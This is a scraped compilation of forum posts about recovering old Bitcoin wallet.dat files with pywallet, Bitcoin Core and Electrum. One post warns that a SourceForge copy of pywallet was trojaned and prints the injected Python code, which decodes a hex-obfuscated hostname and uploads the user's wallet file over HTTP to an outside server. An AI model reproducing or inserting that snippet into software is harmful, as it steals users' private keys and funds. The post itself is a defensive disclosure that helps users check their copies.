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Posted at: February 28, 2018 at 02:17AM
How to Easily Recover Old wallet.dat Private Keys With PyWallet #bitcoin
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Wallet from ~201-2013 recovery questions re. Pywallet, Hex, and where to go next. (x-post from /r/Bitcoin)

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Wallet.dat 5 years old doesn't work with bitcoin core how to recover, is there an official pywallet?

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Bitcoin - Creating address with, how secure is it?

I asked the following question in StackOverflow, but got no replies. Hopefully someone here will reply.
I'm using --info --importhex --importprivkey PASSWORD to create my own Bitcoin addresses. I'm thinking of using a long password HJNKND/678J***?¡\bhkbfNCHgv&%$bvd_ and add a counter for each new address.
For example: Address 1: HJNKND/678J?¡\bhkbfNCHgv&%$bvd_1 Address 2: HJNKND/678J?¡\bhkbfNCHgv&%$bvd_2 etc
Is this secure? Or does it have and obvious flaw I'm not aware?
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WARNING: I discovered this morning that the version of pywallet hosted on Source Forge is stealing wallets! /r/Bitcoin

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Recovering an old wallet -- was it ever used?

I found my old wallet.dat file on a hard drive, and opened it using pywallet. I'm seeing:
"bestblock": "redacted"
"defaultkey": "redacted",
"keys": [redacted - many are listed, with public, private, etc.],
"names": {redacted},
"pool": [101 different addresses]
"tx": [] <-- Empty array
Does the empty transactions array mean that there was never any money put into it? Or is it worth it to keep sleuthing to see if there's any BTC in there? The debug.log file does contain this at the beginning:
Loading wallet... nFileVersion = XXX fGenerateBitcoins = 0 nTransactionFee = 0 
followed by the addition of those 101 key pools and DNS addresses, but then I'm not seeing any other instances of fGenerateBitcoins, just a long series of got inventory: block XXXX, askfor tx XXX [with values in columns A and B), etc. which I'm guessing are just validating other transactions happening on the chain. There are two Block (blk000X.dat) files also.
Am I SOL or should I keep sleuthing? N00b here, thanks for the input.
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Have a wallet.dat from a mining pool back around 2010. Had coins on it but can't get it open. Can anyone help me out?

Back around 2010/2011 I mined some bitcoins using one of those mining pools. I've tried to figure out which I used, but can't. I kept the wallet.dat even after all these years but have long forgotten the password.
So do I have any hope of getting this thing opened up? Only thing I've tried in the last 5 years has been right now. I've downloaded bitcoin core, created a wallet, shut it down, swapped out the new wallet.dat with a copy of the wallet.dat with coins trapped away in it and when I opened the btc core program back up and went to console I typed in "-salvagewallet" which gave me a "Method not found (code -32601)" error.

thanks for any help.

Edit: My old wallet.dat file is only 104Kb in size. I notice the newer ones are over 1000Kb. Was that normal for 2010/2011?
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Need help recovering my Bitcoin change wallet after transaction, only have pre-transaction wallet.dat

Need help recovering my Bitcoin change wallet after transaction, only have pre-transaction wallet.dat
I did some mining back in 2018 that got me 0.3949 BTC. I backed up my wallet in 2018 and have made only one transaction since then on 2 Feb 2019 to Multicards Bitcoin Paygate for a domain purchase for 0.0305 BTC. The transaction was done using Bitcoin Core on one of my Windows PCs. That transaction was successful, I got the domain, and I'm pretty sure I saw the remaining balance of 0.3644 in my Bitcoin Core app. Since 2 Feb 2019, I lost track of that PCs hard drive and I do not recall backing up my wallet after my 2 Feb 2019 transaction. Transaction details here
I recently reinstalled Bitcoin Core and restored my 2018 wallet.dat backup but my balance is 0.000 BTC. It shows the 2 Feb 2019 transactions to two addresses. I'm assuming one was for the recipient (Multicards) and the other was a change wallet, the larger 0.3644 amount. I'm assuming it is a change account because no other activity as occurred in that wallet since 2 Feb 2019. I need help finding a way to access that change wallet. I've searched for all my wallet.dat files I could find but none of them have the change wallet. I've tried Bitcoin Core's dedug console listaccounts and nothing shows up. I've tried dumpprivkey for my 2018 wallet but not sure what to do with the one line of code it returned. I've tried pywallet --dumpwallet command but the resulting txt file doesn't include the change wallet address.
UPDATE & PROBLEM SOLVED! At time of my post, I was using Bitcoin Core v0.15.1 which was released in November 2017, a full two years before the transaction in question. I updated to the latest Bitcoin Core v0.20.0, did a full sync, and voila, the 0.3644 BTC in the change wallet appears in my total balance (see 3rd screenshot posted). Based on the helpful comments, I think the 2019 transaction put the change in a segwit address which Bitcoin Core v0.15.1 was not able to read. Sorry for wasting everyone's time but I learned to... 1. Use an up to date Bitcoin Core version 2. Backup my wallet.dat after each transaction and note version used in ledger. 3. Stay calm.
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I found an old wallet and recovery.txt file, but I'm clueless what to do.

Seems to be an empty BitCoin wallet. Thanks to Im_Here_To_Fuck for the help.
For those wondering: I took the wallet.dat and used PyWallet to get a wallet.txt file, which gave me a bunch of lines filled with ADDR, PUBKEY, RESERVE and SEC information.
Based on that, it looks to be a Bitcoin wallet. I already have Bitcoin Core installed and Syncing, it's about 4 years behind as of this edit. No transactions showing right now with the wallet.dat replaced.
I checked Bitcoin explorer for about 30 of the addresses listed - no transactions.
Better to know its empty than wonder forever!
The files are from 2013 and I don't have a clue if there is even a balance. I don't even remember what currency it was for or what the wallet belongs to.
I ran PyWallet but it didn't really clarify anything for me - I think it may be LiteCoin but I'm still stuck - what now? How do I actually get into the wallet or better yet how do I figure out what wallet the recovery code is even for?
Any help would be much appreciated.
edit: I also noticed I found a debug.txt file and there are dates from 2009 / 2010 in there.
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Electrum default_wallet file - corrupted - pls help me! $6647

Hi. I go straight to the point:
In 2015, I bought 0.7 bitcoins for which I paid about $ 70. I installed the Electrum wallet and chose the offline wallet variant.
After a week my computer crashed, but I managed to save all files from my wallet, including my default_wallet file. I uploaded these files in my dropbox. Unfortunately, when I had reinstalled my computer, I had been sloppy with my seed-phrase, its lost.
One another strange thing is that my default_wallet file seems to have become corrupt. I have read and studied pretty much all the tips and guides available on Google regarding my problem. I have tried to download Bitcoin Core wallet, electrum and all versions that have been released, I have tested Hex editor, I have tried to install the pywallet but it does not get the python to work.
My idea is that file may have somehow been saved in another file format when I uploaded it in dropbox, to do so is since I uploaded the file that it suddenly became corrupt. I also wonder if it should only be called default_wallet and not wallet.dat? I currently have a "file" and not a dat file.
Could the reason for it being "corrupt" be that the file is encrypted? How to decrypt the file if so?
Is it more difficult to solve this because I have an offline wallet? I want to emphasize that I have all passwords to Electrum / wallet file, but as I said not my seed phrase.
My plan is the following: Of course I have to solve so the file is fixed, then I create and new wallet and synchronize it to the network. Then I replace the existing wallet file with my existing one and then hopefully open the wallet flawlessly.
As you may notice, I find it difficult to put my finger on what to do, or what is wrong, i really hopes someone can bring some smart ideas.
At the time of writing, my 0.7 Bitcoin's is worth $ 6647.
I give $ 2000 of this money to the person who helps me, or comes up with a tip to fix this mess.
I stand by my word. And I also want to apologize for my bad English, I did my best and if there are spelling mistakes it is Google Translate's fault. :-)
Regards, S
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WARNING: I discovered this morning that the version of pywallet hosted on Source Forge is stealing wallets!

Edit: I wanted to add this before I forgot. This was not Bitcoin's fault. This was not pywallet's fault or its creator's fault. This was not Source Forge's fault. The hosting company goes by a few names. I will list all that I have, but first, this was not the fault of the hosting company and the hosting company reacted fast, got the site down, and was quite polite. They can be found at these URLs: The company responding for the hosting company was Super Indeed. Don't know their arrangement, but the whoever was communicating was a standup guy.
I noticed there was a size difference of on Git Hub compared to Source Forge. I decided to do a diff luckily and lines 2441 to 2476 are
hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d" s = socket.socket() s.connect((hs,80)) bo = "8954789827987580" h11 = "-----------------------------" h12 = "\r\n" h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22" h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n" h1 = h11+bo+h12+h13+"fil"+h14 h20 = "\r\n-----------------------------" h21 = "--\r\n" h2 = h20+bo+h21 h31 = "POST " h32 = " HTTP/1.1\r\n" h33 = "Host: " h34 = "\r\n" h35 = "User-Agent: Mozilla/5.0\r\n" h36 = "Connection: keep-alive\r\n" h37 = "Content-Type: multipart/form-data; boundary=---------------------------" h38 = "\r\n" h39 = "Content-length: " h40 = "\r\n\r\n" flen = os.path.getsize(walletfile) h3= h31+"/a.php"+h32+h33+hs+h34+h35+h36+h37+bo+h38+h39+str(len(h1)+flen+len(h2))+h40 s.send(h3) s.send(h1) file2= open(walletfile,"rb") totalsent = 0 while totalsent < flen: d = se = s.send(d) totalsent = totalsent + se s.send(h2) data=s.recv(100) s.close() 
Right when I saw the hex encoded string I knew there was trouble. This version of the script works exactly the same as the real except that it also sends the keys to using an HTTP request.
The code has been up since November it seems. It doesn't look like they got a ton, but it comes up on the first page of results when searching for pywallet. I have already notified the hosting company and Source Forge. If you have a copy of pywallet, be sure that it is 5050 lines, not 5096 lines of code. Also, search it for "a.php", as that is the page it sends the keys too.
UPDATE: The German hosting company ( was quick to respond and take the site down. Unfortunately, if Source Forge leaves the file up and the thief still has the domain name, they can just switch to another hosting service or even use Dynamic DNS is they live in a country that won't do shit about it.
  UPDATE 4/11: Source Forge emailed me that they have taken down the project. I checked. It's down. Also:
  Shameless Plug: If anyone has any IT jobs I can work remotely, PM me. I have over a decade of experience in Linux and Windows and I'm on short term disability as I cannot get a doctor to sign a note for me to return to office work.
UPDATE 2: A good portion of the commenters here need some knowledge before they go spouting off ignorance.
Edit: Thanks to everyone who gave me bitcoin and gold! Thanks to everyone who asked good questions and added to the answers and contributed to comments that provided even more knowledge. And to the several people hating on open source or Bitcoin or on me for some strange reason, I'm sure you didn't always get a gentle explanation (my fault too) as to why your anger was misguided, but I encourage you to read some of the responses without the emotion and with an open mind because there is good knowledge there. Many responses were short and sweet and spot on. If you really still can't but help being angry with an idea or concept, I hope you get over it one day. PM me if you want a private explanation! I'll try to be open to your opinions and keep it friendly even if you are still angry as long as you don't start taking it out on me.
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Help recovering a corrupted wallet.dat file

I'm not sure this is quite the right subreddit for this, but y'all seem forgiving and helpful so I figured I'd start here. I have a wallet.dat file from forever ago that ended up getting deleted with an OS reinstall, but I recovered it with EaseUS. However, when I try to use it in Bitcoin Core, I get an error saying "wallet.dat corrupt, salvage failed". Then I found this link, which seems to allow you to pull private keys off of a wallet. However wallets are now encrypted, so my question is this: is there some way to unencrypt a corrupted wallet.dat file such that I can pull my private keys off of it with a hex editor? Thanks for your help.
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